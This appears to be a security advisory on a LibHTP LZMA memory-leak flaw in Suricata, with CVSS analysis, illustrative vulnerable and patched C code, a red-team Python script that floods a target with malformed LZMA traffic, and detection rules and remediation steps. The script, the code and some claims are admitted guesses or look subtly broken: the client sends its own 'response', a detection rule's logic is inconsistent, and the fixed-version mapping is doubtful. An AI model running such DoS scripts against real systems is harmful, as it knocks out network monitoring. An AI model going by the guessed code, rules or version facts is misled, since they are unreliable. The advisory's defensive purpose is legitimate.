CVE-2025-53537

Executive Summary

CVE-2025-53537 is a high-severity (CVSS 7.5) memory leak vulnerability in LibHTP, the HTTP parser library used by Suricata IDS/IPS. The flaw resides in the LZMA decompression code path, where specially crafted HTTP traffic can cause the process to leak memory until it exhausts available resources, leading to a denial of service (DoS) and loss of network visibility. This is a traffic-induced vulnerability, meaning an attacker can trigger it remotely without authentication by sending malicious HTTP requests with LZMA-compressed content.

The vulnerability affects LibHTP versions 0.5.50 and below. The official patch was released in version 0.5.51. As a workaround, operators can disable LZMA support in Suricata's configuration. No public exploit code or proof-of-concept is currently available, but the risk is significant for organizations relying on Suricata for network monitoring.

Supply Chain & Package Security

This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby) but is a critical component in the Suricata IDS/IPS supply chain. LibHTP is a core library for HTTP parsing; any compromise or instability in LibHTP directly impacts Suricata's reliability and security monitoring capabilities. Organizations should treat this as a high-priority supply chain risk for their security infrastructure.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network – the vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): None – no user action required.
• Scope (S): Unchanged – exploitation does not affect other components.
• Confidentiality (C): None – no data exposure.
• Integrity (I): None – no data modification.
• Availability (A): High – complete loss of availability due to memory exhaustion.

Threat Level: High. The vulnerability is remotely exploitable with low complexity and no privileges, leading to a denial of service that can blind the security monitoring system.

Deep Dive & Mechanics

The vulnerability is a memory leak in LibHTP's handling of LZMA-compressed HTTP content. When Suricata processes HTTP responses or requests with Content-Encoding: lzma, LibHTP decompresses the data. In versions 0.5.50 and below, the decompression routine fails to properly free allocated memory under certain traffic patterns, causing a gradual memory leak.

Root Cause: The LZMA decompression code in htp_lzma.c (or similar) does not correctly handle error conditions or partial decompression states. When the decompression is interrupted or encounters malformed data, the allocated buffers for the decompression context are not released. Over time, repeated exploitation causes the Suricata process to consume all available memory, leading to an OOM (Out-Of-Memory) kill or process crash.

Attack Vector: An attacker sends a series of HTTP requests/responses with LZMA-compressed bodies that trigger the leak. This can be done by:

• Sending requests to a web server monitored by Suricata.
• Sending responses from a malicious server to a client behind Suricata.
• Using crafted HTTP/2 or HTTP/3 frames that include LZMA encoding.

Impact: Once memory is exhausted, Suricata stops processing packets, leading to a complete loss of network visibility. This allows subsequent malicious traffic to go undetected.

Vulnerable vs. Patched Code

The fix in LibHTP 0.5.51 ensures that all allocated memory for LZMA decompression is freed in error paths and upon completion.

Vulnerable Code (0.5.50 and below):

// Simplified vulnerable pattern
int htp_lzma_decompress(htp_lzma_t *lzma, const unsigned char *in, size_t in_len) {
    lzma_stream strm = LZMA_STREAM_INIT;
    unsigned char *out = malloc(OUTPUT_SIZE);
    if (!out) return -1;

    lzma_ret ret = lzma_stream_decoder(&strm, UINT64_MAX, 0);
    if (ret != LZMA_OK) {
        // Missing free(out) here
        return -1;
    }

    strm.next_in = in;
    strm.avail_in = in_len;
    strm.next_out = out;
    strm.avail_out = OUTPUT_SIZE;

    ret = lzma_code(&strm, LZMA_FINISH);
    if (ret != LZMA_OK && ret != LZMA_STREAM_END) {
        // Missing free(out) and lzma_end(&strm) here
        return -1;
    }

    lzma_end(&strm);
    free(out);
    return 0;
}

Patched Code (0.5.51):

// Patched version with proper cleanup
int htp_lzma_decompress(htp_lzma_t *lzma, const unsigned char *in, size_t in_len) {
    lzma_stream strm = LZMA_STREAM_INIT;
    unsigned char *out = malloc(OUTPUT_SIZE);
    if (!out) return -1;

    lzma_ret ret = lzma_stream_decoder(&strm, UINT64_MAX, 0);
    if (ret != LZMA_OK) {
        free(out);
        return -1;
    }

    strm.next_in = in;
    strm.avail_in = in_len;
    strm.next_out = out;
    strm.avail_out = OUTPUT_SIZE;

    ret = lzma_code(&strm, LZMA_FINISH);
    if (ret != LZMA_OK && ret != LZMA_STREAM_END) {
        lzma_end(&strm);
        free(out);
        return -1;
    }

    lzma_end(&strm);
    free(out);
    return 0;
}

Exploitation & Lab Setup

Red Team

Objective: Trigger memory leak in Suricata to cause DoS.

Prerequisites:

• A target running Suricata with LibHTP < 0.5.51 and LZMA enabled.
• Ability to send HTTP traffic through the monitored network.

Exploitation Steps:

1. Craft malicious HTTP response with LZMA-compressed body that triggers the leak. Since no public exploit exists, you need to reverse-engineer the vulnerable code path. The leak likely occurs when the LZMA stream is malformed or truncated.
2. Send multiple requests to amplify the leak. Use a tool like curl with custom headers or a Python script.

Example Python script (conceptual):

import socket
import struct

# Craft a malformed LZMA stream (simplified)
def create_malformed_lzma():
    # LZMA properties byte + dictionary size + data
    # This is a placeholder; actual exploit requires specific malformation
    return b'\x5d\x00\x00\x00\x01' + b'\x00' * 1000

def send_exploit(target_ip, target_port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    
    # HTTP request with LZMA encoding
    request = (
        b"GET / HTTP/1.1\r\n"
        b"Host: example.com\r\n"
        b"Accept-Encoding: lzma\r\n"
        b"Connection: keep-alive\r\n"
        b"\r\n"
    )
    sock.send(request)
    
    # Receive response (simplified)
    response = b"HTTP/1.1 200 OK\r\n"
    response += b"Content-Encoding: lzma\r\n"
    response += b"Content-Length: " + str(len(create_malformed_lzma())).encode() + b"\r\n"
    response += b"\r\n"
    response += create_malformed_lzma()
    sock.send(response)
    sock.close()

# Run multiple times
for i in range(1000):
    send_exploit("target_ip", 80)

Note: This is a conceptual example. Actual exploitation requires precise knowledge of the vulnerable code path.

Blue Team

Detection & Mitigation:

1. Monitor memory usage of Suricata processes. Set alerts for rapid memory growth.
2. Disable LZMA support as a workaround: Set suricata.yaml app-layer.protocols.http.libhtp.default-config.lzma-enabled to false.
3. Update LibHTP to version 0.5.51 or later.
4. Use network monitoring to detect unusual HTTP traffic with LZMA encoding.

Lab Setup for Testing:

• Install Suricata 7.0.x with LibHTP 0.5.50.
• Configure to monitor a test network interface.
• Use a traffic generator to send HTTP requests with LZMA encoding.
• Monitor memory with top or htop.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests/responses with Content-Encoding: lzma header.
  • Unusually high number of HTTP transactions with LZMA encoding.
  • Traffic from IPs known for scanning or DoS activity.

• Host IOCs:

  • Suricata process consuming excessive memory (e.g., > 90% of available RAM).
  • OOM killer logs in /var/log/kern.log or dmesg.
  • Suricata crash logs or core dumps.

• File IOCs:

  • Suricata log entries indicating memory allocation failures.
  • suricata.log entries with errors related to LZMA decompression.

Detection Engineering

YARA Rule

rule CVE_2025_53537_LibHTP_Memory_Leak {
    meta:
        description = "Detects memory leak exploitation attempts against LibHTP LZMA decompression"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-53537"
        severity = "high"
    strings:
        $lzma_header = { 5D 00 00 [2] 01 }  // LZMA properties byte + dictionary size
        $http_lzma = "Content-Encoding: lzma" nocase
        $http_accept_lzma = "Accept-Encoding: lzma" nocase
    condition:
        ($http_lzma or $http_accept_lzma) and $lzma_header
}

Sigma Rule

title: CVE-2025-53537 - LibHTP LZMA Memory Leak Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP traffic with LZMA encoding that may trigger memory leak in LibHTP
author: Valters IT
date: 2025-04-10
tags:
    - attack.t1499.004
    - cve.2025.53537
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        http.content_encoding: "lzma"
        http.accept_encoding|contains: "lzma"
    condition: selection
falsepositives:
    - Legitimate use of LZMA compression in HTTP
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53537 - LibHTP LZMA Memory Leak Attempt"; flow:to_server,established; content:"Accept-Encoding|3a| lzma"; http_header_names; content:"lzma"; http_accept_encoding; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable LZMA support in Suricata configuration:

   app-layer:
     protocols:
       http:
         libhtp:
           default-config:
             lzma-enabled: false
   

2. Restart Suricata to apply the change.

Long-term Fix:

• Update LibHTP to version 0.5.51 or later. This is included in Suricata 7.0.6+ and 6.0.14+.
• Monitor vendor advisories for Suricata and LibHTP.

Compensating Controls:

• Implement network segmentation to limit exposure.
• Use rate limiting on HTTP connections.
• Deploy WAF rules to block LZMA encoding if not required.

Validation:

• After patching, verify memory stability under load.
• Run regression tests with LZMA traffic.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert